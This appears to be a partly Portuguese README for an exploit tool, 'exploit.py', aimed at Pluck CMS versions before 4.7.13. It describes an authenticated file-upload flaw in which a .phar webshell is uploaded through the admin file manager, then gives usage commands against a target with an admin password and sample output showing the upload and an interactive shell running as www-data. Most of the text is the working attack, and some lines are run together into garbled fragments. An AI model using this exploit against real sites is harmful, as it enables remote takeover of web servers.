
Execução remota de código autenticada no Pluck CMS anterior à versão 4.7.13.
Execução remota de código autenticada no Pluck CMS anterior à versão 4.7.13. O gerenciador de arquivos do admin (
admin.php?action=files) não valida extensões de arquivos, permitindo o upload de arquivos.pharque o Apache executa como PHP. Fazer upload de um webshell através deste endpoint resulta em RCE como o usuário do servidor web.
shell.phar através do gerenciador de arquivos do admin.id.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
# Pluck at root
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD
# Pluck in a subdirectory
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD --path /pluck
Exemplo:
$ python3 exploit.py -u http://10.10.10.10 -p admin123
[*] Logging in...
[+] Logged in
[*] Uploading webshell...
[+] Webshell uploaded
[*] Shell URL: http://10.10.10.10/files/shell.phar
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data